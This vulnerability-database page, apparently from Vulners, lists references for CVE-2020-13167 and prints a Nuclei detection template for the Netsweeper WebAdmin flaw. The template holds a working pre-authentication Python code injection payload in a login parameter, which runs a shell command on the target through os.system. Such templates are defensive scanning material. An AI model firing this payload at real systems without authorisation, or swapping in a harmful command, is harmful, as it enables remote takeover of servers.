| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
| CVE-2020-13167 | 19 May 202000:00 | – | attackerkb | |
| CVE-2020-13167 | 12 May 202017:33 | – | circl | |
| Netsweeper Injection Vulnerability | 20 May 202000:00 | – | cnvd | |
| CVE-2020-13167 | 19 May 202019:29 | – | cve | |
| CVE-2020-13167 | 19 May 202019:29 | – | cvelist | |
| Netsweeper WebAdmin unixlogin.php Python Code Injection | 12 May 202013:34 | – | metasploit | |
| CVE-2020-13167 | 19 May 202020:15 | – | nvd | |
| CVE-2020-13167 | 19 May 202020:15 | – | osv | |
| Design/Logic Flaw | 19 May 202020:15 | – | prion | |
| CVE-2020-13167 | 22 May 202516:15 | – | redhatcve |
id: CVE-2020-13167
info:
name: Netsweeper <=6.4.3 - Python Code Injection
author: dwisiswant0
severity: critical
description: |
Netsweeper through 6.4.3 allows unauthenticated remote code execution because webadmin/tools/unixlogin.php (with certain Referer headers) launches a command line with client-supplied parameters, and allows injection of shell metacharacters.
impact: |
Successful exploitation of this vulnerability can lead to remote code execution, compromising the affected system.
remediation: |
Upgrade to a patched version of Netsweeper (>=6.4.4) to mitigate this vulnerability.
reference:
- https://ssd-disclosure.com/ssd-advisory-netsweeper-preauth-rce/
- https://portswigger.net/daily-swig/severe-rce-vulnerability-in-content-filtering-system-has-been-patched-netsweeper-says
- https://nvd.nist.gov/vuln/detail/CVE-2020-13167
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/Elsfa7-110/kenzer-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-13167
cwe-id: CWE-78
epss-score: 0.95415
epss-percentile: 0.99858
cpe: cpe:2.3:a:netsweeper:netsweeper:*:*:*:*:*:*:*:*
metadata:
max-request: 2
vendor: netsweeper
product: netsweeper
tags: cve2020,cve,netsweeper,rce,python,webadmin,vkev,vuln
variables:
rand_str: "{{randstr}}"
cmd: 'echo "{{base64(rand_str)}}" | base64 -d > /usr/local/netsweeper/webadmin/out'
http:
- method: GET
path:
- "{{BaseURL}}/webadmin/tools/unixlogin.php?login=admin&password=g%27%2C%27%27%29%3Bimport%20os%3Bos.system%28%27{{url_encode(hex_encode(cmd))}}%27.decode%28%27hex%27%29%29%23&timeout=5"
- "{{BaseURL}}/webadmin/out"
headers:
Referer: "{{BaseURL}}/webadmin/admin/service_manager_data.php"
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "{{rand_str}}"
- type: status
status:
- 200
# digest: 4a0a00473045022100eb89fec85443a9332f2f77a10afaf46cfbb9d85bdaaba9fec1ae7fe783dc8f7c02203f127041187ec4db8cc0637aa66e67fa94b29481b9969fd3d2f99d714837333b:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation